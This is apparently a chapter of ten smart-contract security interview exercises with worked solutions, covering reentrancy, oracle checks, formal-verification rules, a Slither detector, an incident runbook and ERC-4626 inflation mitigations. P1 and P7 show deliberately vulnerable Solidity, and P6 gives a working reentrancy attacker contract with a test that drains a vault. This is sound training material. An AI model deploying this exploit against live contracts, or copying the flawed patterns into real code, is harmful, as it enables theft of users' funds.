Section C · Coding

Coding Problems

Ten security-flavored problems. Each has a hidden solution — try yours first, then expand. Most should be doable in 15-30 minutes on paper.

How to use this chapter

Each problem includes a setup and a hidden solution. For drill mode: cover the answer, work through it on paper or in a sandbox repo, then reveal. The point isn't the answer — it's the reasoning chain.

In the loop

Talk while you work. Interviewers score the reasoning over the bug-find. "I'd check reentrancy first because there's an external call, then access control because the function isn't owner-gated, then math..." is a better answer than silent staring followed by the right bug.

P1 · Spot the bug — withdraw

Below is a vault withdraw function. Find the bug(s) and propose a fix.

contract Vault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "INSUFFICIENT");
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "TRANSFER_FAIL");
        balances[msg.sender] -= amount;
    }
}
Reveal solution

Classic reentrancy. The external call happens before the balance update, so a malicious recipient can re-enter withdraw and drain. Fix: apply CEI — update state before the external call — and/or add nonReentrant.

function withdraw(uint256 amount) external nonReentrant {
    require(balances[msg.sender] >= amount, "INSUFFICIENT");
    balances[msg.sender] -= amount;                     // effect first
    (bool ok,) = msg.sender.call{value: amount}("");    // interaction last
    require(ok, "TRANSFER_FAIL");
}

P2 · Write the CVL invariant: no bad debt

For a lending market with totalSupplyAssets(), totalBorrowAssets(), totalSupplyShares(), totalBorrowShares() — write a CVL invariant that captures "the protocol always has enough underlying to cover all borrowers."

Reveal solution
invariant noBadDebt()
    totalBorrowAssets() <= totalSupplyAssets()
{
    preserved with (env e) {
        // Required: time hasn't advanced absurdly (rate accrual sane)
        require e.block.timestamp < 2^40;
    }
}

Note: this invariant might fail on an instant after accrual if you haven't bounded the interest rate. In practice you'd also add a rate-monotonic assumption and possibly summarize the rate function.

P3 · Foundry invariant test: AMM solvency

For a constant-product AMM with reserves r0, r1 and LP token shares: write an invariant test asserting the AMM is always solvent (reserves cover all redeemable claims).

Reveal solution
contract AMMInvariants is Test {
    AMM amm;
    Handler handler;

    function setUp() public {
        amm = new AMM();
        handler = new Handler(amm);
        targetContract(address(handler));
    }

    function invariant_KIncreases() public {
        // K = r0 * r1 only grows (or stays equal) after fee-bearing swaps
        assertGe(amm.r0() * amm.r1(), handler.ghostInitialK());
    }

    function invariant_TotalSharesGtZero() public {
        assertGt(amm.totalShares(), 0);
    }

    function invariant_ReservesMatchBalances() public {
        assertEq(amm.r0(), token0.balanceOf(address(amm)));
        assertEq(amm.r1(), token1.balanceOf(address(amm)));
    }
}

Hint about the third invariant: if you fail this one in production, you've found a donation-style accounting bug.

P4 · Write a Slither custom detector

Outline a Slither detector that flags any external state-modifying function lacking a nonReentrant modifier when the function makes an external call.

Reveal solution

Outline (Python):

from slither.detectors.abstract_detector import AbstractDetector, DetectorClassification

class MissingReentrancyGuard(AbstractDetector):
    ARGUMENT = "missing-nonreentrant"
    HELP = "External fns with external call lacking nonReentrant"
    IMPACT = DetectorClassification.MEDIUM
    CONFIDENCE = DetectorClassification.MEDIUM

    def _detect(self):
        results = []
        for contract in self.compilation_unit.contracts_derived:
            for fn in contract.functions:
                if not fn.is_external_or_public(): continue
                if fn.view or fn.pure: continue
                if not any(call.is_external for call in fn.all_external_calls()): continue
                if any(m.name == "nonReentrant" for m in fn.modifiers): continue
                results.append(self.generate_result([fn, " missing nonReentrant\n"]))
        return results

Real implementation needs to handle interface calls vs library calls, OpenZeppelin's check, etc.

P5 · Design a fix

Given the vault from P1, you can't add nonReentrant because the codebase pre-dates OpenZeppelin and doesn't have one. Design two alternative fixes — one with no library, one using transient storage (post-Cancun).

Reveal solution

Option 1 — inline lock using storage:

uint256 private _locked = 1;
modifier lock() {
    require(_locked == 1, "REENTRY");
    _locked = 2;
    _;
    _locked = 1;
}

Option 2 — transient storage (EIP-1153):

bytes32 constant LOCK_SLOT = keccak256("vault.reentrancy.lock");
modifier lock() {
    assembly {
        if tload(LOCK_SLOT) { mstore(0, 0x52454e545259) revert(0, 32) }
        tstore(LOCK_SLOT, 1)
    }
    _;
    assembly { tstore(LOCK_SLOT, 0) }
}

Option 2 saves the SSTORE/SLOAD cost (~5000 gas per protected call). Option 1 works on chains pre-Cancun.

P6 · Write a PoC exploit (education only)

Given the vault from P1, write a Foundry test that exploits the bug. The PoC should demonstrate a complete drain.

Reveal solution
contract Attacker {
    Vault public vault;
    uint256 public stolen;

    constructor(Vault _vault) { vault = _vault; }

    function attack() external payable {
        vault.deposit{value: msg.value}();
        vault.withdraw(msg.value);
    }

    receive() external payable {
        if (address(vault).balance >= msg.value) {
            vault.withdraw(msg.value);
        } else {
            stolen = address(this).balance;
        }
    }
}

contract VaultExploitTest is Test {
    function testDrain() public {
        Vault v = new Vault();
        // Victim deposits
        vm.deal(address(0xBEEF), 10 ether);
        vm.prank(address(0xBEEF));
        v.deposit{value: 10 ether}();

        // Attacker deposits 1 ETH and drains the rest
        Attacker a = new Attacker(v);
        vm.deal(address(this), 1 ether);
        a.attack{value: 1 ether}();

        assertEq(address(v).balance, 0);
        assertGt(a.stolen(), 10 ether);
    }
}

This is an education-only PoC. In real bounty triage, PoCs run against a local fork, never against live mainnet contracts.

P7 · Spot the bug — oracle read

Find the bug.

function getCollateralValue(address user) public view returns (uint256) {
    uint256 collateral = collateralOf[user];
    (, int256 price, , uint256 updatedAt, ) = chainlinkFeed.latestRoundData();
    return collateral * uint256(price) / 1e8;
}
Reveal solution

Multiple bugs:

  1. No staleness check. updatedAt is read but never compared to block.timestamp. A stale price will be used as fresh.
  2. No negative-price check. Chainlink can return 0 or negative on certain failure modes; uint256(price) on a negative value wraps to a huge number.
  3. No round-completeness check. The first return value (roundId) and answeredInRound aren't checked; round may not have completed.
function getCollateralValue(address user) public view returns (uint256) {
    uint256 collateral = collateralOf[user];
    (uint80 roundId, int256 price, , uint256 updatedAt, uint80 answeredInRound) = chainlinkFeed.latestRoundData();
    require(price > 0, "INVALID_PRICE");
    require(updatedAt != 0 && block.timestamp - updatedAt <= MAX_STALENESS, "STALE");
    require(answeredInRound >= roundId, "INCOMPLETE_ROUND");
    return collateral * uint256(price) / 1e8;
}

P8 · Write a war-room runbook

You wake up to an alert: unusual outflow detected, 3% of TVL drained in the last 30 minutes. Outline the runbook for the first 4 hours.

Reveal solution
  1. 0-10 min: Acknowledge alert. Open war-room channel. Page secondary on-call.
  2. 10-30 min: Validate the alert. Pull recent transactions. Identify the address(es) involved. Is this withdrawal or transfer? Is it a single actor or many?
  3. 30-60 min: Determine if it's an exploit (vs e.g., a single whale exit). If suspicious: invoke pause if available; alert multi-sig.
  4. 1-2 hours: Trace root cause. Did a contract get called in a novel way? Was there an oracle deviation? Look at correlated events.
  5. 2-3 hours: If exploit confirmed: white-hat rescue if possible (drain remaining funds to a safe contract). Contact incident-response community (Seal 911, Security Alliance). Notify exchanges to freeze inbound deposits from the attacker address.
  6. 3-4 hours: Initial public statement ("we are investigating an incident, please refrain from interacting with X contracts"). Begin patch.

Comms discipline throughout: one designated voice, no speculation, acknowledge fast but commit slowly.

P9 · CVL parametric access control

Write a CVL parametric rule asserting that only the owner can change protocol parameters.

Reveal solution
// Track if any parameter changed
ghost bool paramChanged {
    init_state axiom paramChanged == false;
}

hook Sstore _interestRate uint256 newVal (uint256 oldVal) STORAGE {
    if (newVal != oldVal) paramChanged = true;
}
hook Sstore _ltv uint256 newVal (uint256 oldVal) STORAGE {
    if (newVal != oldVal) paramChanged = true;
}

rule onlyOwnerChangesParams(method f, env e, calldataarg args) {
    require !paramChanged;
    f(e, args);
    assert paramChanged => e.msg.sender == owner();
}

The parametric rule explodes over every method, so a single rule covers the whole external surface.

P10 · Donation attack mitigation

Given an empty ERC-4626 vault, describe four distinct mitigations to the first-depositor inflation attack and rank them by side-effects.

Reveal solution
  1. Decimal offset (OpenZeppelin default) — virtual shares with a decimal offset (e.g., 10^6). Inflation becomes economically unprofitable. Best default. Side-effects: small precision tax on legitimate users.
  2. Dead shares — first deposit mints e.g. 1000 wei of shares to address(0). Side-effects: first depositor loses the dead-shares amount. Simple.
  3. Minimum first deposit — require first deposit ≥ MIN_INITIAL (e.g., 100 token units). Side-effects: UX friction; doesn't help if attacker is willing to spend MIN_INITIAL.
  4. Track deposits internally — vault stores a storedAssets variable updated only on deposit/withdraw; donations don't affect accounting. Side-effects: more code; donated assets become unrecoverable.

In an interview, naming OpenZeppelin ERC4626's default and explaining why it's the default signals depth.